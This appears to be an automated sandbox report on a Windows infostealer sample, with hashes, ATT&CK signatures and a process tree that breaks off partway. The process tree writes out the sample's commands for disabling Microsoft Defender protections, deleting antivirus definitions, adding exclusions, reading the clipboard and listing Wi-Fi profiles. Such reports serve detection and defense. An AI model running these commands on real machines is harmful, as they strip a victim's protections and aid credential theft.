8928d35f3e18435f6c17940a5a9a2515186b5a7a4faa6f681b7d244249daaf0b

Analysis

max time kernel
148s
max time network
131s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 18:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 7.6MB
Sample260628-w2vaesbw21
SHA256 8928d35f3e18435f6c17940a5a9a2515186b5a7a4faa6f681b7d244249daaf0b
MD5 e2f13f6d216b70e66ce859e3e0cadcb7
SHA1 b7d45389d4acc560c93215f1096befb28cda75f8
SHA512 d29ebe86e5858e440b161eb7a027cdf97e64d82e9606a832e7f4f73f9b67f8350729b40ca15c92763073e23a09015c7f64787c3d65318714749785cb5793c9e7
SSDEEP 98304:ylvITBGY3amaHl3Ne4i3lqoFhTWrf9eQc0MJYzwZNq2ToigGDzisHJ1n6JsBLRiU:yRIA/eNlpYfMQc2s9IG/nn6Js5RJqg
TLSH
T1E0863399F3A20AFBF4E7523CC5C2C166A771F9694320A9CF0390426A2E276D11D3FB55
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
5740	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
7132	powershell.exe
2876	powershell.exe
6080	powershell.exe
5600	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2876	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
6288	cmd.exe
1076	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1056	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
3608	tasklist.exe
5380	tasklist.exe
3240	tasklist.exe

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000b00000001c75b-63.dat	upx
behavioral2/memory/5488-68-0x000001E1FEC20000-0x000001E1FF209000-memory.dmp	upx
behavioral2/memory/5488-69-0x000001E1FEC20000-0x000001E1FF209000-memory.dmp	upx
behavioral2/files/0x000c00000001c727-71.dat	upx
behavioral2/files/0x000c00000001c72b-128.dat	upx
behavioral2/files/0x000c00000001c72a-127.dat	upx
behavioral2/files/0x000c00000001c729-126.dat	upx
behavioral2/memory/5488-125-0x00007FF8D5C60000-0x00007FF8D5C6F000-memory.dmp	upx
behavioral2/files/0x000c00000001c728-124.dat	upx
behavioral2/files/0x000c00000001c726-123.dat	upx
behavioral2/files/0x000b00000001c761-122.dat	upx
behavioral2/files/0x000b00000001c75f-121.dat	upx
behavioral2/files/0x000b00000001c75e-120.dat	upx
behavioral2/memory/5488-129-0x00007FF8D1C70000-0x00007FF8D1C89000-memory.dmp	upx
behavioral2/memory/5488-130-0x00007FF8CEDC0000-0x00007FF8CEDED000-memory.dmp	upx
behavioral2/files/0x000b00000001c75a-117.dat	upx
behavioral2/files/0x000b00000001c758-116.dat	upx
behavioral2/memory/5488-135-0x00007FF8CD720000-0x00007FF8CD743000-memory.dmp	upx
behavioral2/memory/5488-136-0x00007FF8BB1C0000-0x00007FF8BB330000-memory.dmp	upx
behavioral2/memory/5488-137-0x00007FF8D15B0000-0x00007FF8D15C9000-memory.dmp	upx
behavioral2/memory/5488-138-0x00007FF8D2310000-0x00007FF8D231D000-memory.dmp	upx
behavioral2/memory/5488-139-0x000001E1FEC20000-0x000001E1FF209000-memory.dmp	upx
behavioral2/memory/5488-143-0x00007FF8BAE40000-0x00007FF8BB1B5000-memory.dmp	upx
behavioral2/memory/5488-142-0x00007FF8CC8A0000-0x00007FF8CC958000-memory.dmp	upx
behavioral2/memory/5488-140-0x00007FF8CCD10000-0x00007FF8CCD3E000-memory.dmp	upx
behavioral2/memory/5488-146-0x00007FF8CEDB0000-0x00007FF8CEDBD000-memory.dmp	upx
behavioral2/memory/5488-145-0x00007FF8CCCF0000-0x00007FF8CCD04000-memory.dmp	upx
behavioral2/memory/5488-144-0x00007FF8D3530000-0x00007FF8D3554000-memory.dmp	upx
behavioral2/memory/5488-147-0x00007FF8B8C90000-0x00007FF8B8DAC000-memory.dmp	upx
behavioral2/files/0x000b00000001c759-75.dat	upx
behavioral2/memory/5488-74-0x00007FF8D3530000-0x00007FF8D3554000-memory.dmp	upx
behavioral2/memory/5488-226-0x00007FF8CD720000-0x00007FF8CD743000-memory.dmp	upx
behavioral2/memory/5488-245-0x00007FF8BB1C0000-0x00007FF8BB330000-memory.dmp	upx
behavioral2/memory/5488-274-0x00007FF8D15B0000-0x00007FF8D15C9000-memory.dmp	upx
behavioral2/memory/5488-291-0x00007FF8CCD10000-0x00007FF8CCD3E000-memory.dmp	upx
behavioral2/memory/5488-294-0x00007FF8CC8A0000-0x00007FF8CC958000-memory.dmp	upx
behavioral2/memory/5488-295-0x00007FF8BAE40000-0x00007FF8BB1B5000-memory.dmp	upx
behavioral2/memory/5488-316-0x00007FF8BB1C0000-0x00007FF8BB330000-memory.dmp	upx
behavioral2/memory/5488-324-0x00007FF8B8C90000-0x00007FF8B8DAC000-memory.dmp	upx
behavioral2/memory/5488-311-0x00007FF8D3530000-0x00007FF8D3554000-memory.dmp	upx
behavioral2/memory/5488-310-0x000001E1FEC20000-0x000001E1FF209000-memory.dmp	upx
behavioral2/memory/5488-326-0x00007FF8D3530000-0x00007FF8D3554000-memory.dmp	upx
behavioral2/memory/5488-330-0x00007FF8CD720000-0x00007FF8CD743000-memory.dmp	upx
behavioral2/memory/5488-335-0x00007FF8CC8A0000-0x00007FF8CC958000-memory.dmp	upx
behavioral2/memory/5488-331-0x00007FF8BB1C0000-0x00007FF8BB330000-memory.dmp	upx
behavioral2/memory/5488-339-0x00007FF8B8C90000-0x00007FF8B8DAC000-memory.dmp	upx
behavioral2/memory/5488-336-0x00007FF8BAE40000-0x00007FF8BB1B5000-memory.dmp	upx
behavioral2/memory/5488-338-0x00007FF8CEDB0000-0x00007FF8CEDBD000-memory.dmp	upx
behavioral2/memory/5488-337-0x00007FF8CCCF0000-0x00007FF8CCD04000-memory.dmp	upx
behavioral2/memory/5488-334-0x00007FF8CCD10000-0x00007FF8CCD3E000-memory.dmp	upx
behavioral2/memory/5488-333-0x00007FF8D2310000-0x00007FF8D231D000-memory.dmp	upx
behavioral2/memory/5488-325-0x000001E1FEC20000-0x000001E1FF209000-memory.dmp	upx
behavioral2/memory/5488-329-0x00007FF8CEDC0000-0x00007FF8CEDED000-memory.dmp	upx
behavioral2/memory/5488-332-0x00007FF8D15B0000-0x00007FF8D15C9000-memory.dmp	upx
behavioral2/memory/5488-328-0x00007FF8D1C70000-0x00007FF8D1C89000-memory.dmp	upx
behavioral2/memory/5488-327-0x00007FF8D5C60000-0x00007FF8D5C6F000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
6484	cmd.exe
2528	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2960	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1232	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
7132	powershell.exe
7132	powershell.exe
2876	powershell.exe
2876	powershell.exe
2876	powershell.exe
7132	powershell.exe
2248	WMIC.exe
2248	WMIC.exe
2248	WMIC.exe
2248	WMIC.exe
1076	powershell.exe
1076	powershell.exe
496	powershell.exe
496	powershell.exe
1076	powershell.exe
496	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
4532	WMIC.exe
4532	WMIC.exe
4532	WMIC.exe
4532	WMIC.exe
3492	WMIC.exe
3492	WMIC.exe
3492	WMIC.exe
3492	WMIC.exe
6768	WMIC.exe
6768	WMIC.exe
6768	WMIC.exe
6768	WMIC.exe
5600	powershell.exe
5600	powershell.exe
5600	powershell.exe
2960	WMIC.exe
2960	WMIC.exe
2960	WMIC.exe
2960	WMIC.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	7132	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	3608	tasklist.exe
Token: SeDebugPrivilege	3240	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2248	WMIC.exe
Token: SeSecurityPrivilege	2248	WMIC.exe
Token: SeTakeOwnershipPrivilege	2248	WMIC.exe
Token: SeLoadDriverPrivilege	2248	WMIC.exe
Token: SeSystemProfilePrivilege	2248	WMIC.exe
Token: SeSystemtimePrivilege	2248	WMIC.exe
Token: SeProfSingleProcessPrivilege	2248	WMIC.exe
Token: SeIncBasePriorityPrivilege	2248	WMIC.exe
Token: SeCreatePagefilePrivilege	2248	WMIC.exe
Token: SeBackupPrivilege	2248	WMIC.exe
Token: SeRestorePrivilege	2248	WMIC.exe
Token: SeShutdownPrivilege	2248	WMIC.exe
Token: SeDebugPrivilege	2248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2248	WMIC.exe
Token: SeRemoteShutdownPrivilege	2248	WMIC.exe
Token: SeUndockPrivilege	2248	WMIC.exe
Token: SeManageVolumePrivilege	2248	WMIC.exe
Token: 33	2248	WMIC.exe
Token: 34	2248	WMIC.exe
Token: 35	2248	WMIC.exe
Token: 36	2248	WMIC.exe
Token: SeDebugPrivilege	5380	tasklist.exe
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeIncreaseQuotaPrivilege	2876	powershell.exe
Token: SeSecurityPrivilege	2876	powershell.exe
Token: SeTakeOwnershipPrivilege	2876	powershell.exe
Token: SeLoadDriverPrivilege	2876	powershell.exe
Token: SeSystemProfilePrivilege	2876	powershell.exe
Token: SeSystemtimePrivilege	2876	powershell.exe
Token: SeProfSingleProcessPrivilege	2876	powershell.exe
Token: SeIncBasePriorityPrivilege	2876	powershell.exe
Token: SeCreatePagefilePrivilege	2876	powershell.exe
Token: SeBackupPrivilege	2876	powershell.exe
Token: SeRestorePrivilege	2876	powershell.exe
Token: SeShutdownPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeSystemEnvironmentPrivilege	2876	powershell.exe
Token: SeRemoteShutdownPrivilege	2876	powershell.exe
Token: SeUndockPrivilege	2876	powershell.exe
Token: SeManageVolumePrivilege	2876	powershell.exe
Token: 33	2876	powershell.exe
Token: 34	2876	powershell.exe
Token: 35	2876	powershell.exe
Token: 36	2876	powershell.exe
Token: SeIncreaseQuotaPrivilege	2248	WMIC.exe
Token: SeSecurityPrivilege	2248	WMIC.exe
Token: SeTakeOwnershipPrivilege	2248	WMIC.exe
Token: SeLoadDriverPrivilege	2248	WMIC.exe
Token: SeSystemProfilePrivilege	2248	WMIC.exe
Token: SeSystemtimePrivilege	2248	WMIC.exe
Token: SeProfSingleProcessPrivilege	2248	WMIC.exe
Token: SeIncBasePriorityPrivilege	2248	WMIC.exe
Token: SeCreatePagefilePrivilege	2248	WMIC.exe
Token: SeBackupPrivilege	2248	WMIC.exe
Token: SeRestorePrivilege	2248	WMIC.exe
Token: SeShutdownPrivilege	2248	WMIC.exe
Token: SeDebugPrivilege	2248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2248	WMIC.exe
Token: SeRemoteShutdownPrivilege	2248	WMIC.exe
Token: SeUndockPrivilege	2248	WMIC.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 3768 wrote to memory of 5488	3768	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	90
PID 5488 wrote to memory of 4748	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 5488 wrote to memory of 4272	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	92
PID 4748 wrote to memory of 7132	4748	cmd.exe	95
PID 4272 wrote to memory of 2876	4272	cmd.exe	96
PID 5488 wrote to memory of 3244	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	97
PID 5488 wrote to memory of 3412	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	98
PID 3244 wrote to memory of 3608	3244	cmd.exe	101
PID 5488 wrote to memory of 3384	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	102
PID 3412 wrote to memory of 3240	3412	cmd.exe	103
PID 5488 wrote to memory of 6288	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	105
PID 5488 wrote to memory of 1972	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	106
PID 5488 wrote to memory of 2268	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 5488 wrote to memory of 6484	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	111
PID 5488 wrote to memory of 4500	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	112
PID 5488 wrote to memory of 5256	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	115
PID 2268 wrote to memory of 1268	2268	cmd.exe	118
PID 6288 wrote to memory of 1076	6288	cmd.exe	119
PID 1972 wrote to memory of 5380	1972	cmd.exe	120
PID 3384 wrote to memory of 2248	3384	cmd.exe	121
PID 4500 wrote to memory of 1232	4500	cmd.exe	122
PID 6484 wrote to memory of 2528	6484	cmd.exe	123
PID 5256 wrote to memory of 496	5256	cmd.exe	124
PID 5488 wrote to memory of 6940	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	125
PID 6940 wrote to memory of 3120	6940	cmd.exe	127
PID 5488 wrote to memory of 1900	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	129
PID 1900 wrote to memory of 6268	1900	cmd.exe	131
PID 5488 wrote to memory of 5224	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	132
PID 5224 wrote to memory of 788	5224	cmd.exe	134
PID 496 wrote to memory of 1896	496	powershell.exe	135
PID 5488 wrote to memory of 4864	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	136
PID 4864 wrote to memory of 4980	4864	cmd.exe	138
PID 5488 wrote to memory of 4620	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	139
PID 1896 wrote to memory of 3672	1896	csc.exe	141
PID 4620 wrote to memory of 7048	4620	cmd.exe	142
PID 4272 wrote to memory of 5740	4272	cmd.exe	143
PID 5488 wrote to memory of 6532	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	144
PID 6532 wrote to memory of 6080	6532	cmd.exe	146
PID 5488 wrote to memory of 576	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	147
PID 576 wrote to memory of 3500	576	cmd.exe	149
PID 5488 wrote to memory of 2792	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	150
PID 2792 wrote to memory of 4904	2792	cmd.exe	152
PID 5488 wrote to memory of 3856	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	153
PID 3856 wrote to memory of 1056	3856	cmd.exe	155
PID 5488 wrote to memory of 7160	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	156
PID 7160 wrote to memory of 4532	7160	cmd.exe	158
PID 5488 wrote to memory of 5888	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	159
PID 5888 wrote to memory of 3492	5888	cmd.exe	161
PID 5488 wrote to memory of 3864	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	162
PID 3864 wrote to memory of 6768	3864	cmd.exe	164
PID 5488 wrote to memory of 1532	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	165
PID 1532 wrote to memory of 5600	1532	cmd.exe	167
PID 5488 wrote to memory of 5580	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	168
PID 5580 wrote to memory of 2960	5580	cmd.exe	170
PID 5488 wrote to memory of 252	5488	2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	171
PID 252 wrote to memory of 2416	252	cmd.exe	173

C:\Users\Admin\AppData\Local\Temp\2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Users\Admin\AppData\Local\Temp\2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-06-28_e2f13f6d216b70e66ce859e3e0cadcb7_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2876
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:5740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3244
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:6288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1972
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:6484
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1232
- - C:\Windows\system32\cmd.exe
